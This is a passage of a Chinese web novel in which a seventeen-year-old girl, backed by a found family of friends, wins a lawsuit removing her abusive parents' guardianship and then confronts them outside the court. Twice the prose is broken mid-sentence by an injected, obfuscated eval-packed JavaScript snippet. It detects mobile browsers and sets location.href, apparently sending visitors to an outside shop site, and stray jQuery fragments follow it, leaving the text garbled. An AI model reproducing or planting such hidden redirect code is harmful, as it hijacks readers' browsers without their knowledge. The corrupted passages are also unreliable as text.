对方回复,“身份证明、关系证明、相关证据原件。具体清单我明天整理好发您。另外建议提前给她准备一套正式但不压抑的衣服,穿得舒服一点,心里也会稳一点。” 每条回复后面,傅砚修都会再追问一两句。 比如对方说可以申请单独作证室,他追问,“申请成功的概率多大?” 对方说可以安排社工陪同,他追问,“社工是固定的吗?能不能提前让她见一面?” 最后一条是对方发来的,“少爷放心,这些我都会提前安排好。开庭前我带律师去见一面,让她熟悉一下流程,不用紧张。” 每条后面都有回复,言简意赅,但该说的都说了。 沈摘星盯着那些消息,看了很久。 她往上滑了滑,“砚修哥哥,你什么时候问的?” 傅砚修抿了抿唇,没说话。 夏叙言在旁边揭穿他,“刚才汪姨来的时候,他了解情况后就开始掏手机询问了,站门口询问了半天。” 傅砚修的耳根红了。 沈摘星看着他那副样子,忽然觉得鼻子又酸了一下,但她没哭。 她把手机还给傅砚修,轻轻说了声,“谢谢。” “没事。”傅砚修接过手机,顿了顿,又补了一句,“律师说,你到时候就正常说话,不用怕。” 沈摘星点点头。 下午,李乘歌带着沈摘星去镇上,说是要去买点东西,顺便让她散散心。 傅拭雪开车,夏叙言非要跟着,说是保护她们安全,傅砚修和宋鹤眠想了想也跟着去了。 一辆皮卡塞了六个人,挤得满满当当。 夏叙言被挤在角落里,抱怨了一路,“傅拭雪你这车太小了!下次换个大点的!” 傅拭雪从后视镜看了他一眼,“你出钱?” 夏叙言立刻闭嘴。 沈摘星在后座中间,左边是李乘歌,右边是宋鹤眠,被夹得严严实实,但她一点也不觉得挤。 她靠着李乘歌的肩膀,看着窗外飞快掠过的山景。 路过那条她以前每天上学都要走的路,路过那个她以前等车的小站台,路过那片她以前挖过野菜的田埂。 以前每次经过这些地方,心里都是空的。 但现在不一样了。 她侧头看了看身边这些人。 夏叙言打着哈欠,李乘歌欣赏着窗外的风景,宋鹤眠闭着眼睛。 前面驾驶座上,傅拭雪专注地开着车,副驾驶的傅砚修偶尔回头看她一眼,笑一下。 沈摘星忽然觉得,这条路好像没那么长了。 从镇上回来,天已经快黑了。 沈摘星抱着一个袋子,里面是李乘歌给她买的新衣服,她说下周开庭要穿得体面一点。 回到院子,二伯母正坐在门口择菜,看见他们回来,招招手让沈摘星过去。 沈摘星走过去,在她旁边蹲下。 二伯母没说话,只是从围裙口袋里掏出一个红布包,塞到她手里。 沈摘星愣了一下,打开一看,是一对银镯子。 旧的,但擦得很亮,上面刻着细细的花纹。 “二伯母……” “我年轻时候的嫁妆。”二伯母继续择菜,没看她,“戴着,保佑你。” 沈摘星捧着那对镯子,眼眶一下子红了。 “二伯母,这太贵重了……” “贵重什么。”二伯母打断她,“东西就是给人用的,我用不上,给你用正好。” 沈摘星低下头,看着手里的镯子,好一会儿没说话。 二伯母择完一把菜,拍了拍手上的泥,转头看她。 “摘星。”她说,“这世上,怕的事情多了。但怕归怕,该往前走的,还得往前走。” 她伸手,把沈摘星垂下来的碎发别到耳后,动作很轻,“往前走,才知道前面有什么。” 沈摘星抬起头,看着她。 二伯母笑了笑,眼角的皱纹挤在一起,但眼睛亮亮的。 “去吧。”她拍了拍沈摘星的手,“我们摘星最勇敢了。” 沈摘星站起来,低头看了看手里的镯子,又看了看院子里那些正在摆桌子,端菜的人。 夏叙言正在跟傅砚修抢筷子,他的声音传过来,“先到先得!” 傅砚修不理他,默默又拿了一双。宋鹤眠在旁边坐下,李乘歌端着菜从灶房出来,喊了一声,“别闹了,吃饭!” 傅拭雪跟在后面,手里端着汤,目光扫过院子,最后落在她身上。 他好像点了点头,又好像没有。 沈摘星看着这一切,忽然觉得心里有什么东西,慢慢稳了下来,她往院子里走去,“来了来了!等等我!” 餐桌上,夏叙言真的煮了一碗面,沈摘星看着那碗面,沉默了两秒。 面条确实有点坨,黏在一起成了一团。青菜煮得太过,已经看不出原来的形状,软塌塌地趴在碗边。鸡蛋糊了一面,黑乎乎的,另一面却还没熟透,蛋液流得到处都是。 但她拿起筷子,低头吃了起来。 夏叙言蹲在她对面,眼睛一眨不眨地盯着她。 第一口,她嚼了嚼,咽下去。 第二口,她又嚼了嚼,咽下去。 夏叙言紧张得手心都出汗了。 沈摘星吃到一半,忽然抬头看他。 夏叙言被她看得一激灵,“怎、怎么了?是不是太难吃了?要不别吃了——” 沈摘星摇摇头,继续吃。 夏叙言就这么蹲着,看她把整碗面吃完,最后端起碗,把汤也喝得干干净净。 碗放下,她抬起头,眼睛亮亮的。 “叙言哥哥,”她说,“好吃。” 夏叙言愣了一下,然后他嘴角开始往上翘,翘着翘着就咧到了耳朵根,“真的假的?” “真的。” “你不骗我?” 沈摘星认真地看着他,“汤我都喝完了。” 夏叙言低头看看那只空碗,又看看她,他伸手揉揉她的脑袋,“那以后我经常给你煮!” 沈摘星笑着应了一声。 一个小时后,灶房里夏叙言洗碗的水声哗啦啦的,还夹杂着他哼歌的声音,调子跑得厉害,但听得出来他很高兴。 沈摘星坐在门槛上,托着腮,听着那跑调的歌声。 月光落在她脸上,把她眼睛里的笑意照得亮亮的。 面吃完了,碗也洗完了,但谁也没回屋。 夏叙言难得安静地靠在石凳上,仰着头看月亮。沈摘星坐在他旁边,也仰着头看。傅砚修依旧在查看数据。宋鹤眠坐在他旁边,手里捧着那杯凉茶,茶早就凉透了,她也没喝。李乘歌靠在门框上,看着院子里的人,傅拭雪站在她旁边。 院子里忽然安静下来,只有虫鸣一声一声的。 月光洒下来,把每个人的影子都拉得很长。 “玩个游戏吧。”李乘歌忽然开口。 大家都看向她。 “很简单。”她说,“大家说说自己为什么会选择这里。” 大家安静了一瞬。 夏叙言挠挠头,先开了口,“我啊?我就是来找傅拭雪的。” 他看向傅拭雪,难得没有嬉皮笑脸,“那会儿刚被家里停了卡,也不知道去哪儿。然后他来到这里,我就想,跟着呗,反正也没地方去。” 他顿了顿,声音低了一点,“其实我就是不想呆在那个家里,也不想一个人。” 沈摘星看着他,没说话,只是往他那边靠了靠。 夏叙言看着大家,咧嘴笑了,“后来发现这儿挺好的,就不想走了。” 轮到傅砚修。 月光落在他身上,把他的侧脸照得有些柔和,声音很轻,“我是为了我哥来的,我好奇他为什么会离开,好奇他选的地方是什么样子,好奇……” 他的声音又轻了一点,轻得几乎听不见,“他有没有恨我。” 四个人都愣了一下。 “回到傅家,他什么都让着我。位置、资源、关注——只要我回来,他就往后退一步。”他说,“我以为那是客气,是出于礼貌。后来觉得,也许是恨吧。毕竟我回来了,那个家就不是他的了。” 院子里安静得能听见虫鸣。 “所以我追过来。”他说,声音低低的,“想知道他是不是真的恨我。如果是……那我也想当面听他说的。” 他说完了,还是没抬头。 月光落在他身上,把他整个人照得有些孤零零的。 傅拭雪看着他,过了一会儿,忽然开口,“你是我弟弟。” 傅砚修愣了一下,抬起头。 傅拭雪继续说,“不用好奇,一直都是。” 傅砚修看着他,嘴唇动了动,没说出话来。 傅拭雪往前走了一步,站在他面前。 “至于恨……”他顿了顿。 傅砚修看着他,等着。 “没有。”傅拭雪说,声音很轻,但很稳,“从来没有。” 傅砚修愣在那里。 傅拭雪看着他,忽然伸手,揉了揉他的头发。 “傻不傻。”他说,“想这么多。” 傅砚修被他揉得头发乱了,但他没躲。 轮到宋鹤眠。 她看着杯子里的月光,安静了很久。 “我来……”她顿了顿,声音比平时慢了一点,“是因为有一个人要来到这里。” 大家愣了一下。 夏叙言第一个反应过来,“谁?” 宋鹤眠没回答,她只是看着杯子里晃动的月光,杯壁上凝着一层薄薄的水汽。 夏叙言挠挠头,正准备再问,旁边李乘歌忽然小声说,“鹤眠,你是不是……喜欢的人在这里呀?” 宋鹤眠握着杯子的手指轻轻动了一下。 她没有承认,也没有否认。 只是慢慢抬起头,目光从杯子上移开,越过石桌,越过月光,落在一个人身上。 那个人正低着头,看着自己手上那个白色的布结,指腹无意识地摩挲着边缘。他好像还没察觉,又好像察觉了但不敢抬头。 月光落在他侧脸上,把他那点微微泛红的耳廓照得清清楚楚。 宋鹤眠看了他两秒。 然后收回目光,低头喝了一口已经凉透的茶。 夏叙言在旁边终于反应过来,张大嘴,看看宋鹤眠,又看看傅砚修,又看看宋鹤眠,最后憋出一句,“那你是来勇敢追爱的?” 沈摘星戳了他一下,“叙言哥哥,你别说得这么直白……” “我这是夸她!”夏叙言冤枉,“勇敢追 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310837|198833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱多好啊!” 宋鹤眠轻轻“嗯”了一声,嘴角那点弧度,在月光下格外明显。 傅砚修还是没抬头,但手上那个布结被他摩挲得更用力了。 轮到李乘歌。 她靠在门框上,看着这一圈人。 “我的原因……”她想了想,“是因为想回来了。” “回来?”夏叙言问。 “嗯。”李乘歌点点头,“我从小在这儿长大,后来出去了,在外面待了很久。有一天忽然想回来,就回来了。” “其实我很早就想回来了,在一次次加班到凌晨三点,站在出租屋的窗户前,我就想回来了。” 她看着这个院子,看着那棵老玉兰,看着远处黑黝黝的山影。 “等到回来时,我推开院门的时候,看见傅拭雪要出门。”她笑了笑,“那时候我还想,这人是谁啊,怎么在我家?” 沈摘星好奇地问,“然后呢?” “然后……”李乘歌看了傅拭雪一眼,“然后他就没走,我也没问。” 傅砚修在旁边听着,眉头微微皱了起来。 这个答案怎么感觉在哪里听到过呢。 他看向傅拭雪,傅拭雪察觉到他的目光,侧过头来,嘴角轻轻弯了一下。 轮到傅拭雪。 他站在月光下,看着这一圈人,沉默了很久。 “我来的原因……”他想了想,声音很轻,“是因为不知道自己是谁。” 大家安静下来。 他继续说,“有个地方待了二十多年,忽然发现那不是自己的位置。不是别人说的,是自己感觉到的。” 他顿了顿,“不知道自己是谁,不知道自己从哪里来,不知道自己应该去哪儿,所以就出来走走。” 夏叙言难得认真地问,“那现在找到了吗?” 傅拭雪看着院子里的人。 看着夏叙言,看着沈摘星,看着傅砚修,看着宋鹤眠,看着李乘歌,看着院外的土地。 “找到了。”他说。 李乘歌看着他。 他正好也看过来。 两人对视了一秒,又移开目光。 但嘴角的弧度,都弯了弯。 最后一个,轮到沈摘星。 “我……” 李乘歌看出了她的不安,“我们不说了。” “不,我想说。” “我选择这里的原因……”她小声说,“是因为你们。” 夏叙言愣了一下。 沈摘星继续说,“是你们让我感受到家的温暖。” 她顿了顿,眼眶红了,但嘴角是往上翘的。 “来到这里我才感觉到真的有人要我了。” 夏叙言伸手,揉了揉她的脑袋。 “傻丫头。”他说,“谁说没人要你?” 沈摘星看着他,眼泪在眼眶里打转,但没掉下来。 李乘歌唤她,“摘星。” 沈摘星抬起头。 李乘歌看着她,认真地说,“以后这里就是你的家。” 沈摘星愣了一下。 她看了看李乘歌,又看了看夏叙言,看了看傅砚修,看了看宋鹤眠,看了看傅拭雪。 每个人都在看她。 “乘歌姐姐……” “嗯?” “你说话算话吗?” 李乘歌伸出手,小拇指勾住她的,“拉钩。” 沈摘星低头看着那两根勾在一起的手指,眼泪还在流,但嘴角一直往上翘。 “拉钩。”她小声说,“一百年不许变。” 旁边,夏叙言凑过来,“我也算一个!” 他把小拇指伸过来,勾住沈摘星的。 “我也算一个。” 傅砚修站在旁边,看着这一幕,犹豫了一下。 沈摘星抬头看他,把手伸过去。 宋鹤眠也走过来,伸出手。 沈摘星挨个勾过去,最后看着自己那只拉过所有人的手,笑得眼睛弯弯的。 “你们都拉过钩了,”她说,“谁都不许反悔。” 月光洒下来,把那只小小的手照得亮亮的。 夜很深了,大家各自回屋。 沈摘星趴在桌上写作业,水笔在本子上划得沙沙响。宋鹤眠坐在她旁边,手里拿着一本旧书,偶尔抬眼看一下她写的答案。 第三遍讲同一道数学题的时候,察觉她出神的宋鹤眠放下书,“摘星,你是不是还是很害怕。” 沈摘星愣了一下,看着她。 宋鹤眠没说话,只是安安静静看着她。 两个人对视了好一会儿,沈摘星小声说,“鹤眠姐姐,上法庭……我怕。” 宋鹤眠没说话,她只是伸出手,握住沈摘星那只攥得指节发白的手。那只手很小,很凉,在她掌心里微微发抖。 “怕正常。”宋鹤眠说。 沈摘星抬起头,看着她。 宋鹤眠与她对视,“我第一次上法庭的时候,也怕。” 沈摘星愣住了,“你……你也上过法庭?” “嗯。”宋鹤眠点点头,“打过官司。” 沈摘星不知道该说什么,只是看着她。 “后来发现,怕没用。”宋鹤眠说,“该说的说清楚,该做的做明白,就行了。” “那……”沈摘星小声问,“后来呢?” “后来赢了。”宋鹤眠松开她的手,把桌上那支笔拿起来,放回她手心里,“所以你也可以。” 沈摘星低头看着手里那支笔,笔杆上还残留着宋鹤眠指尖的温度,她忽然觉得,好像没那么怕了。 窗外,月光静静地洒着,沈摘星重新拿起笔,继续写那道题。宋鹤眠坐在旁边,翻开那本旧书,偶尔抬眼看一下她写的答案。两个人谁也没再说话,但那种安静,比任何语言都暖。 夜深了,沈摘星躺在床上,盯着天花板。 隔壁床,李乘歌已经睡着了。 她把手腕举起来,对着月光,看那对银镯子,镯子上刻的花纹,在月光下显得格外清晰。 她忽然想起一句听过的话。“人啊,就像地里的苗,得有人浇水,有人施肥,有人陪着晒太阳,才能长得好。” 以前她不懂。 现在好像懂了。 她把镯子贴在胸口,闭上眼睛。 窗外的月光静静地洒着,远处有虫鸣,一声一声的,像在唱歌。 沈摘星翻了个身,把被子往上拉了拉。 下周的事,下周再说。 今晚,她想好好睡一觉。 时间过得很快,开庭当日。 沈摘星穿着新买的衣服站在院门,她身前站着四个人。 李乘歌笑着说,“走吧,我们一家人整整齐齐。” 一家人,沈摘星抬起头,她看着他们脸上各种各样的表情,夏叙言的乐观开朗,傅砚修的沉默专注,宋鹤眠的淡淡温柔,李乘歌的温暖笑意,傅拭雪的安静守护。 她好像,真的有了一家人。 等车子在法院门口停下。 沈摘星透过车窗看着那栋灰白色的建筑,门口进进出出的人,肃穆的国徽在阳光下闪着光,她的手攥紧了衣角,攥得指节发白。 “到了。”傅拭雪熄了火,回头看她。 沈摘星深吸一口气,然后她推开车门,站到阳光下。 六个人一起往里走。 夏叙言和傅砚修走在两边,李乘歌和宋鹤眠牵着她的手,时不时看她一眼,傅拭雪走在最前面,替她挡开人群。 法警在门口检查证件,看见这一群人,愣了一下。 “这么多人啊?” 夏叙言理直气壮,“我们是家属!” 法警看了看他,又看了看沈摘星,点了点头。 走进大厅,阳光透过高高的窗户洒进来,在地上画出一道道明暗。 沈摘星踩着那些光影,一步一步往前走。 律师已经在里面等着了,看见她,走过来,弯下腰。 “摘星对吧?别紧张,待会儿我陪你进去。你想说什么就说什么,不想说的可以不回答。” 沈摘星点点头,开庭的时间到了。 29. 胜诉 法庭之上。 沈摘星站在主告席上,小小的身影被窗外的阳光拉得很长。 旁听席上,五个人坐成一排。 夏叙言攥着拳头,傅砚修的目光一直落在沈摘星身上,宋鹤眠安静地坐着,傅拭雪和李乘歌并肩在最边上。 法官敲了敲法槌,宣布开庭。 苏律师站起来,走到沈摘星身边,轻轻按了按她的肩膀。 那一下,像是告诉她:别怕,有我。 “审判长,这是本案的证据材料。”苏律师将一叠文件呈上,“包括申请人长期遭受忽视、遗弃的相关记录,以及被告未尽抚养义务的证明。” 她陈述得很平静,没有激烈的言辞,只是把事实一件一件摆出来。 邻居的证言,学校的记录,村委会的走访材料。沈摘星这些年是怎么过的,吃什么,穿什么,住什么地方,一条一条,清清楚楚。 对面那对夫妇几次想开口,被法官制止了。 苏律师继续说:“根据未成年人保护法,父母或者其他监护人应当创造良好、和睦的家庭环境,依法履行对未成年人的监护职责和抚养义务。而本案中,被告长期未能履行这一义务。” 她顿了顿,看向沈摘星。 “我的当事人今年十七岁,四岁开始承担家务,八岁开始参与劳动,至今未能获得应有的教育保障和生活照料。这不是抚养,这是放任。” 对面的妇人终于忍不住了:“你胡说——” 法官敲了敲法槌。 苏律师没有理她,只是把最后一份材料呈上去,“这是村委会的调解记录。三次调解,被告均未到场。” 法庭里安静下来。 沈摘星站在那儿,听着苏律师说的每一句话。 那些话她以前说不出口,现在有人替她说了。 被告的律师试图辩解,说了几句,被苏律师一一驳了回去。 她准备得太充分了,每一份证据都清晰,每一个论点都站得住脚。 不到半小时,对方的辩护就乱了阵脚。 最后陈述环节,苏律师只说了几句话:“法律的存在,不是为了惩罚那些不称职的父母,而是为了保护那些没有能力保护自己的孩子。我的当事人今年十七岁,她站在这里,不是要控告谁,只是想要一个可以安心长大的地方。请法庭依法裁决。” 最后,法官敲下法槌,宣读了判决。 判决书宣读得很简短:撤销被告监护权,由当地民政部门指定合适监护人,沈摘星暂由现居住地负责照料。 妇人猛地站起来,“凭什么!她是我女儿!” 法警上前,把她按回座位。 沈摘星站在原地,听着那些话从法官嘴里说出来,一个字一个字落进耳朵里。 她听懂了。 她自由了。 从主告席上走下来,她走得很稳,一步一步,像踩在实地上。 苏律师走过来,蹲下身,平视着她的眼睛,“摘星,结束了。” 走出法庭的时候,阳光一下子涌过来,有点刺眼。她眯了眯眼,看见门口站着五个人。 夏叙言第一个冲过来,想抱她,又怕弄疼她,最后只是把手放在她肩膀上,用力按了按。 “走,回家。” 沈摘星点头。 她刚要迈步,身后传来一阵急促的脚步声。 “沈引娣!你给我站住!” 那个妇人冲过来,脸涨得通红,眼睛瞪得吓人。沈摘星还没来得及反应,妇人已经冲到面前—— “啪!” 一巴掌狠狠甩在她脸上。 沈摘星被打得偏过头去,脸上瞬间浮起红印。她愣在那里,耳朵里嗡嗡作响。 “你这个白眼狼!赔钱货!”妇人指着她,声音尖得刺耳,整个法院门口都能听见,“我生你养你十几年,你就这样对我?你还有没有良心?你个畜生!早知道你是这么个东西,当初就该把你掐死!” 沈摘星站在原地,一动不动。那些话像刀子一样扎进来,一刀一刀,扎在最疼的地方。 “你看看你现在什么样子!”妇人继续骂,口水喷出来,“穿得像叫花子,跟一群外人混在一起,丢尽了我的脸!你以为有人要你了?做梦!你就是个没人要的赔钱货,这辈子都是!” 夏叙言的拳头攥紧了,青筋暴起。他刚要冲上去,被傅拭雪一把拽住。 傅拭雪看着他,摇了摇头,“别动手,摘星在看。” 夏叙言咬着牙,硬生生站住了。 妇人还在骂,越骂越难听:“养条狗都知道摇尾巴,你呢?你把我们告上法庭,你是人吗?你良心被狗吃了?我告诉你,你今天走了,这辈子别想再回来!你以为他们会要你?你算什么东西!” 沈摘星站在原地,脸上很疼,但是她就那么站着。 妇人指着她,手指几乎戳到她脸上:“你弟弟以后娶媳妇要钱,你爹妈老了要人伺候,这些不都是你该还的?我把你生下来,给你一条命,你就该感恩!是我把你带到这个世上的!没有我,你连睁眼看这个世界的机会都没有!你欠我的,一辈子都欠我的!” 沈摘星抬起头,她就那么直直地看着那个妇人。 不是愤怒,不是恨,只是在看一个熟悉的陌生人。 “你瞪什么瞪?”妇人被她看得愣了一瞬,随即更恼了,“你以为这些人心疼你?他们就是图新鲜,过两天就不要你了!到时候你哭都没地方哭!你算什么东西?是我给了你这条命,你还想往哪儿飞?你飞不出去!” 看妇人说到大家,沈摘星的眼眶才红了一下,但她没有低头。 只是站在那里,被阳光照着,小小的身影单薄却直直的。 “你看看你这样子!”妇人最后骂了一句,“赔钱货就是赔钱货,一辈子都是!” 阳光直面照射过来,其余五人看不清她的表情,只注意到她攥着衣角的手,指节发白,轻轻发抖。 李乘歌走过去,想把她护在身后。 但沈摘星没动,过了一会儿,她忽然笑了一下,很淡的笑,甚至看不出是在笑,只是嘴角动了动。 “骂完了吗?”她问。 妇人一愣。 沈摘星看着她,声音不大,但每个字都很清楚:“我是赔钱货,是白眼狼,是畜生。那你是谁?你是什么?你生了个赔钱货,养了个白眼狼,你算什么?” 妇人的脸色变了变,嘴唇动了动,却没发出声音。 那个一直沉默的男人忽然开口了。他往前站了一步,指着沈摘星,声音又粗又冲:“你他妈跟谁说话呢?那是你妈!你个白眼狼,养你这么大,就养出你这么个东西?” 沈摘星看向他。 这个所谓的父亲,她太熟悉了。喝醉了就打人,清醒了就要钱。她这十七年,挨他的巴掌也不少。 “我养你这么大”这句话,他说了十七年,可他给过她什么? 沈摘星没说话,只是看着他。 男人被她看得不自在,骂骂咧咧地往前走了一步,被傅拭雪冷冷扫了一眼,又缩回去了。 那个少年一直站在旁边,手里攥着手机,嘴里叼着烟。他吐出一口烟圈,斜着眼看沈摘星,嗤笑一声:“姐,你真牛逼啊,把亲爹亲妈告上法庭。行,你走吧,反正你走了,家里还省口粮。不过你记住啊,以后你混好了,别回来找我们。找我们也不认你。” 他顿了顿,又补了一句,眼里闪着算计的光:“除非你带钱回来。带够了钱,我们还是可以认你的。” 沈摘星看着他。 这张脸,她背了五年。这个弟弟,她从小抱大的,洗尿布洗到十岁,自己的作业没写完也要先给他喂饭。 “好。”她说。 少年愣了一下,没想到她这么平静。 “你说什么?” 沈摘星没有回答他,她依旧看着那个妇人。 “你说你生了我。”她继续问:“那我问你——你生我的时候,问过我吗?” 妇人张了张嘴,终于挤出几个字:“你、你这是什么话?哪个当妈的生孩子还要问孩子?” “你没问过。”沈摘星说,“你想要儿子,生出来是女儿,你怨了十二年。这十七年,你哪天没让我知道,我是个多余的?” 妇人脸上闪过一丝慌乱,随即又硬起来:“我什么时候说你多余了?你自己矫情想得,怪到我头上?” “你说你给了我一命,让我感恩。”沈摘星看着她,“那我这些年干的活,够还你那条命了吗?” 妇人往后退了一步,梗着脖子:“你干活怎么了?农村孩子谁不干活?我小时候比你干得还多!” “不够?”沈摘星问,“那你算算,要多少才够。我从四岁开始给你们带弟弟,五岁学做饭,六岁踩着凳子和面,八岁下田干活。一年三百六十五天,十三年,你算算,够还你那条命了吗?” 妇人噎住了,脸憋得通红,好一会儿才蹦出一句:“你、你这是算账来了?我是你妈,我生你养你,你跟我算账?” 同时,那个男人又开口了,声音更大:“你少在这放屁!老子养你这么大,你吃的穿的哪样不是老子的?” 沈摘星看向他,“我吃的,是自己从灶台上一口一口端下来的。我穿的,是邻居阿姨给的旧衣服。你给过我什么?” 男人张了张嘴。 “你给过我三巴掌。”沈摘星说,“七岁一巴掌,九岁一巴掌,十二岁一巴掌。三巴掌,我都记得。” 男人的脸涨成猪肝色,抡起胳膊就要往前冲。 夏叙言、傅砚修往前走了一步,挡在沈摘星前面。 男人看着那两张冷脸,又看看旁边站着的几个人,胳膊慢慢放下来,嘴里还在骂骂咧咧。 那个少年在旁边嗤笑:“爸,你怂什么?打啊!” 男人回头瞪他一眼:“你他妈闭嘴!” 少年翻了个白眼,继续抽烟。 沈摘星看着这一幕,嘴角动了动。 她继续看着那个妇人。 “你说你养了我。”沈摘星继续说,“那我问你——我四岁的时候,半夜发烧,你在哪儿?” 妇人张了张嘴:“我……我那时候要带你弟弟,你弟弟小,离不开人——” “我七岁的时候,饿得睡不着,去厨房找吃的,被你打了一巴掌,还记得吗?” 妇人的声音尖了起来:“那是你偷东西!大半夜的偷吃的,不该打?” 沈摘星的眼眶红着,但没有哭。 “我十岁那年,学校要交二十块钱书本费。我跟你说了三次,你每次都说过两天。后来老师在全班点名,说‘没交费的站起来’。我站了四十分钟,全班都看着我。”她顿了顿,“那二十块钱,你后来也没给。” 妇人脸色青一阵白一阵,嘴里嘟囔着:“那时候家里没钱,你又不是不知道——” “我十七岁了。”沈摘星打断她,声音还是那么平静,像在说别人的事,“这十七年,你给我买过一件新衣服吗?给我做过一顿正常饭吗?问过我一句‘在学校怎么样’吗?” 妇人往后退了一步,突然声音大了起来:“我怎么没问?我问你学习怎么样,你从来不跟我说!” “你问的是成绩。”沈摘星看着她,“不是问我怎么样。” 妇人愣住。 “你说你养了我。”沈摘星看着她,“你养了我什么?” 没有人说话。 沈摘星继续说道:“你今天为什么这么生气?是因为我要走了,没人给你做饭洗衣服了?还是因为弟弟以后娶媳妇的钱,没人替你出了?” 妇人的脸涨得通红,猛地往前冲了一步,却被沈摘星身旁的人吓得止步。 她不敢往前冲,只能扯着嗓子喊:“你闭嘴!你懂什么!我生你养你这么多年,你就这么跟我说话?你以为你翅膀硬了?你以为那些人真对你好?他们就是看笑话!等新鲜劲过了,你哭着回来我都不要你!” 那个少年在旁边补了一句:“哭着回来也行,带钱就行。” 男人也跟着嚷嚷:“对!带钱回来!没钱别回来!” 三个人,你一言我一语,像在演一出荒诞的戏。 沈摘星看着他们。 “你让我把话说完。”她说,声音还是那样,不大,但字字诛心,“这十七年,你每次打我骂我,说的都是同一句话——‘要不是看你以后能换点彩礼,我早把你扔了’。” 妇人的脸色白了。 “我从小就知道,我是留着换钱的。” 女人的嘴唇哆嗦着,想说什么,却只发出几个破碎的音节。 “你、你……我那是气话——” “十七年的气话?”沈摘星问。 妇人说不出话来。 男人在旁边帮腔:“你妈说两句怎么了?你还有理了?” 那个少年也插嘴:“就是,矫情什么呀。” 沈摘星看着这三个人。 她的父亲,她的母亲,她的弟弟。 “你以为我今天为什么站在这里?”她说,“不是因为我恨你们。是因为我知道了,人不是留着换钱的,爱不是你们这样的。” 阳光落在她身上,把她小小的身影照得亮亮的。 “你生了我。”她说,声音轻轻的,“可生不是恩。生就是生。你把我带到这世上,是为了你自己,不是为了我。生我是因为欲,无论你们是因为肉/体的本能产生的欲,还是想要繁衍后代来养老产生的欲,而生下的我——你们都该为这个欲付出一定的代价。” 妇人嘴唇动了动,想反驳,却找不到话。 “你养了我,也不是恩。”沈摘星继续说,“你给我的那口饭,是我用干活换来的,我没白吃你的。” 她顿了顿,眼底红成一片,“所以我不欠你的。” 妇人终于找回了声音,嘶哑着喊出来:“你不欠我的?你身上流着我的血!你这辈子都欠我的!你以为你能逃掉?你走到哪儿都是我生的!你死了都得认我这个妈!” 男人啐了一口唾沫,指着她,“你死了都得姓我们这个姓!” 那个少年还在旁边抽烟,吐出一口烟圈,没说话。 沈摘星看着他们。 三个人,站在阳光下,面目狰狞,嘴脸丑陋。 她忽然觉得很可笑。 也很可悲。 沈摘星看着妇人,目光很静。 没有愤怒,没有恨,只是很平静地看着她。 “你说你给我一条命,让我感恩。”她说,“那我问你——这条命,我自己养了十七年,你给过我什么?” 妇人张着嘴,一个字也说不出来。 沈摘星等了一会儿。 没有再等。 她转过身,对那五个人说:“走吧。” 阳光落在她身上,把她小小的背影照得很亮。 她往前走,一步一步。 身后,妇人突然崩溃地哭喊起来:“你站住!你给我站住!你这个没良心的东西!你会后悔的!你一定会后悔的!” 那个男人也在骂:“白眼狼!白养你了!” 那个少年抽着烟,头都没抬,只是嘟囔了一句:“记得带钱回来啊。” 她没有回头。 但她走了几步,忽然觉得手被人握住了。 是李乘歌。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310838|198833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她低头看了一眼那只握住自己的手,什么也没说,继续往前走。 走了几步,另一只手也被握住了。 是宋鹤眠。 沈摘星愣了一下。 她抬头看她们。 李乘歌笑了笑,没说话。 宋鹤眠也没说话,只是握着她的手,走在旁边。 身后,三人还在嚷嚷着,但声音越来越远。 沈摘星没有再听。 她只是看着前面,一步一步地走。 六个人走到停车场。 阳光还是那么亮,照着那辆半旧的皮卡,照着地上灰色的水泥地,照着每一个人的脸。 沈摘星停下来,她站在原地,低着头,看不清表情。 李乘歌刚要开口,忽然感觉手里那只小手在发抖。 很轻,很细,一阵一阵的。 然后有水珠落下来,啪嗒一声,砸在水泥地上。 一滴。 又一滴。 沈摘星没有出声,她就那么站着,低着头,肩膀一抽一抽的,眼泪一颗一颗往下砸。 李乘歌轻轻抱住她,沈摘星把脸埋在她肩膀上,还是没出声,只是发抖,只是流眼泪。眼泪很快洇湿了李乘歌的衣服,热热的。 宋鹤眠站在旁边,看着那只被自己握着的小手。她没有松开,而是往前迈了一步,从另一侧轻轻抱住她们两个人。 沈摘星感觉到身后传来的温度,身体僵了一下,然后抖得更厉害了。 夏叙言走过来。 他看着那个被两个姐姐护在中间的小小身影,眼眶发红。他什么也没说,只是张开手臂,把她们三个人一起抱住,他的手臂很长,抱得很稳。 傅砚修站在原地,看着这个渐渐变大的圈。他犹豫了一秒,然后走过去,站在夏叙言旁边。他伸出手,轻轻搭在夏叙言肩上,另一只手覆在宋鹤眠的手臂上,他的动作很轻,很小心。 五个人围成了一个圈。 沈摘星被护在最中间,耳边是不同人的心跳声,身上是不同的温度。 傅拭雪最后走过来,他看着这个圈,李乘歌抱着沈摘星,宋鹤眠抱着她们俩,夏叙言抱着她们仨,傅砚修抱着他们四个。 他走过去,站在傅砚修旁边,伸出手,把他们所有人一起抱住。他的手臂很长,刚好能把大家都揽住。 六个人,围成了一个大大的圈。 阳光从头顶照下来,把他们的影子叠在一起,分不清谁是谁。 沈摘星终于哭出声来,不是嚎啕大哭,是那种憋了很久很久,终于憋不住了的哭声,小小的,闷闷的,像受伤的小动物。 “我……我不欠他们的……”她断断续续地说,声音被眼泪泡得模糊,“我干了那么多活……我什么都干了……我不欠他们的……” 李乘歌把她抱得更紧了一点。 